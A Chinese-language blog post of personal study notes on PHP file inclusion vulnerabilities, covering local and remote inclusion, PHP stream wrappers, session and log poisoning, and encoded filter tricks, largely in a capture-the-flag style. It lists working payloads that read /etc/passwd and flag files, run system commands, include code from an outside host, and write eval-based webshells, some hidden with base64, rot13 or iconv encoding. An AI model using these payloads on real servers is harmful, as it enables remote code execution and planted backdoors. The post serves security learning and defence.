一、文件包含漏洞
和SQL等攻擊方式一樣,文件包含漏洞也是一種注入型漏洞,其本質就是輸入一段用戶能夠控制的腳本或者代碼,并讓服務端執行。
什么叫包含呢?以PHP為例,我們常常把可重復使用的函數寫入到單個文件中,在使用該函數時,直接調用此文件,而無需再次編寫函數,這一過程叫做包含。
PHP常用文件包含函數:include(),require(),include_once(),require_once()
區別如下:
- require():找不到被包含的文件會產生致命錯誤,并停止腳本運行
- include():找不到被包含的文件只會產生警告,腳本繼續執行
- require_once()與require()類似:唯一的區別是如果該文件的代碼已經被包含,則不會再次包含
- include_once()與include()類似:唯一的區別是如果該文件的代碼已經被包含,則不會再次包含
二、漏洞成因分析?
寫以下兩串php代碼
?
利用文件包含,我們通過include函數來執行phpinfo.php頁面,成功解析
將phpinfo.php文件后綴改為txt后進行訪問,依然可以解析,同理,jpg也可
可以看出,include()函數并不在意被包含的文件是什么類型,只要有php代碼,都會被解析出來。
在文件上傳漏洞中,我們上傳了一個jpg格式的一句話木馬,如果網站有文件包含漏洞,jpg文件就可以被當做php文件解析,所以這就是文件上傳漏洞通常配合文件上傳使用。
將phpinfo.txt的內容改成一段文字:hello world!,再次進行訪問,依舊可以讀出文本內容
利用這個特性,我們可以讀取一下包含敏感信息的文件。
三、本地包含、遠程包含
①本地文件包含(LFI)
本地文件包含是指包含服務器本地文件并執行其中的代碼。通常用于重用代碼片段,避免重復編寫相同的代碼。
例如,在PHP中,可以使用include或require函數來包含文件:
<?phpinclude('localfile.php');?>
如果包含的文件不存在,include函數會產生警告,但腳本會繼續運行,而require函數會產生致命錯誤并終止腳本。
②遠程文件包含(RFI)
遠程文件包含是指通過URL包含遠程服務器上的文件并執行其中的代碼。
要實現遠程文件包含,PHP配置中的allow_url_include必須開啟:
<?phpinclude('http://example.com/remotefile.php');?>
遠程文件包含的風險更大,因為攻擊者可以通過URL傳遞惡意代碼并在目標服務器上執行。
風險:本地文件包含:主要風險是泄露服務器上的敏感文件。
???????????遠程文件包含:風險更大,可能導致遠程代碼執行。
四、偽協議
文件包含漏洞全面詳解(偽協議)-CSDN博客
文件讀取:
file:///etc/passwd(絕對路徑)
php://filter/read=convert.base64-encode/resource=phpinfo.php(相對路徑)
文件寫入:
php://filter/write=convert.base64-encode/resource=phpinfo.php
php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
代碼執行:
php://input——POST:<?php phpinfo();?>
data://text/plain,<?php phpinfo();?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdJcycpOz8+
(注:PD9waHAgc3lzdGVtKCdJcycpOz8+解碼為<?php system('Is');?>
五、session包含
session文件會定時清空
自定義session名字,條件競爭不斷訪問session文件,value代碼會不斷寫入是session文件中去,然后再session文件清空的一剎那不斷用條件競爭去包含session文件,使其執行value代碼,代碼執行時就會創建shell.php文件,寫入后門代碼。
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1])?>'?>" />
六、php&http協議
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
payload: ?file=php://input post:<?php system('tac flag.php');?>
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>
七、data&http協議
payload: ?file=data://text/plain,<?=system('tac flag.*');?>
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
八、日志包含
利用日志記錄UA特性包含執行,將后門代碼寫入UA 頭中
payload:/var/log/nginx/access.log
九、php://filter/write&加密編碼
1、利用base64:
url編碼2次:php://filter/write=convert.base64-decode/resource=123.php
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
2、利用凱撒13:
url編碼2次:php://filter/write=string.rot13/resource=2.php
content=<?cuc riny($_CBFG[1]);?>
十、php://filter/write&新的算法
convert.iconv.:一種過濾器,和使用iconv()函數處理流數據有等同作用
Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?
以上內容均為自己學習理解所得,如有錯誤,歡迎大家評論指正!